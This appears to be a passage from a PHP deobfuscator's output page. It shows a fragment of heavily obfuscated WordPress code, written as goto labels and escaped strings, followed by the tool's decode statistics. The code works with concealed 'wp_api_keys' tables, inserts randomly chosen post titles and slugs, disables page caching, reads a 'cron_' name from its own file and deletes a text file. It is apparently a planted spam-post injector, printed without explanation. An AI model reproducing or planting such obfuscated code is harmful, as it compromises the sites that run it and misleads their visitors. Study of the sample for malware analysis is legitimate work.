$wpdb->query($wpdb->prepare("\111\116\x53\x45\x52\124\40\111\107\x4e\x4f\x52\x45\x20\111\116\124\x4f\x20{$db_api_keys}\x20\50\x69\x64\155\x64\65\54\40\164\x69\164\x6c\x65\x2c\40\x73\x6c\165\x67\x2c\40\x63\x61\x74\145\x67\157\x72\x79\x2c\x20\164\x61\162\147\x65\x74\x5f\165\x76\x2c\x20\x73\x74\141\164\165\x73\x29\x20\x56\x41\114\125\x45\x53\x20\x28\x20\45\163\54\x20\x25\x73\54\x20\x25\x73\54\40\45\163\54\x20\x25\x73\x2c\x20\45\x73\x20\51", array($idtcat, $inttl, $urls, $id_cat, $target_dt, "\60"))); } } } } } else { $wpdb->query($wpdb->prepare("\x55\120\x44\x41\124\105\40{$db_api_keys}\40\123\105\124\40\x73\164\141\164\x75\163\x20\75\40\x27\x33\47\x20\127\110\x45\122\x45\40\x69\144\x6d\x64\x35\x20\x3d\40\47{$md5ttl}\x27")); } unlink($myTXT); } } goto OSkKs; jDW0n: $type = "\144\x6f\146\x6c\x61\x6d\x69\156\x67\157"; goto vt2Mb; YSeME: $siteurl = (isset($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\x48\x54\x54\x50\123"] === "\x6f\156" ? "\x68\x74\164\x70\163" : "\x68\x74\164\160") . "\x3a\x2f\57" . $_SERVER["\x48\x54\124\x50\137\x48\x4f\x53\124"] . "\57"; goto RXYWv; vt2Mb: $rndkey = $wpdb->get_results("\x53\105\114\x45\103\124\40\x2a\40\106\122\117\115\x20{$db_api_keys}\x20\x57\x48\105\122\105\x20\163\164\141\164\165\x73\75\x27\60\47\40\101\x4e\104\40\x70\157\163\164\x5f\164\x79\x70\145\75\x27\144\x6f\x66\154\x61\x6d\151\x6e\147\x6f\47\x20\x4f\122\x44\105\122\x20\102\131\40\x52\101\x4e\104\x28\51\x20\x4c\111\115\111\124\x20\61"); goto ABlU1; tKr9w: define("\x44\x4f\116\x4f\124\x43\101\103\110\105\120\x41\x47\105", true); goto CG62u; oEO3Y: $currurl = $protocol . $_SERVER["\110\124\x54\x50\137\110\x4f\x53\124"] . strtok($_SERVER["\122\105\x51\x55\105\x53\x54\x5f\x55\x52\x49"], "\77"); goto cFw4f; p5qpl: $db_api_keys = $wpdb->prefix . "\167\x70\x5f\x61\160\x69\x5f\x6b\x65\171\x73"; goto CI5cC; cFw4f: header("\x43\157\156\164\x65\156\164\x2d\124\171\160\x65\x3a\x20\164\x65\x78\164\57\x68\164\x6d\154\x3b\40\143\x68\x61\162\163\x65\x74\75\165\164\146\x2d\70"); goto vNgf_; XzqvA: if (preg_match("\57\136\x31\44\x2f", $sts_key)) { echo "\x64\x75\x70\x6c\151\143\x61\164\145\40\x70\157\163\164"; die; die; } goto RAYrY; Rmtr3: $db_api_settings = $wpdb->prefix . "\x77\x70\x5f\141\x70\x69\137\x73\145\164\x74\151\x6e\x67\163"; goto p5qpl; CG62u: global $wpdb; goto Rmtr3; yX3S1: $startPos = strpos($nameWithoutExt, "\143\162\x6f\156\137") + 5; goto JSIk6; TFib6: $nameWithoutExt = pathinfo($fileName, PATHINFO_FILENAME); goto yX3S1; ABlU1: foreach ($rndkey as $rowkey) { $md5ttl = $rowkey->idmd5; $post_title = $rowkey->title; $query = $rowkey->title; $urlslug = $rowkey->slug; $id_cat = $rowkey->category; $target_dt = $rowkey->target_uv; $sts_key = $rowkey->status; $post_type = $rowkey->post_type; $end_lang2 = $rowkey->end_lang; $link = $rowkey->link; } goto XzqvA; RXYWv: $protocol = !empty($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] != "\x6f\x66\x66" || $_SERVER["\123\105\122\x56\x45\x52\x5f\120\117\x52\x54"] == 443 ? "\150\164\164\160\x73\x3a\x2f\x2f" : "\150\164\x74\x70\x3a\x2f\57"; goto oEO3Y; JSIk6: $idxCron = substr($nameWithoutExt, $startPos); goto jDW0n; SjOXY: $fileName = basename(__FILE__); goto TFib6; OSkKs:

Function Calls

None

Variables

None

Stats

MD5 3ef59015c0fefc6315dbe33399e77570
Eval Count 0
Decode Time 46 ms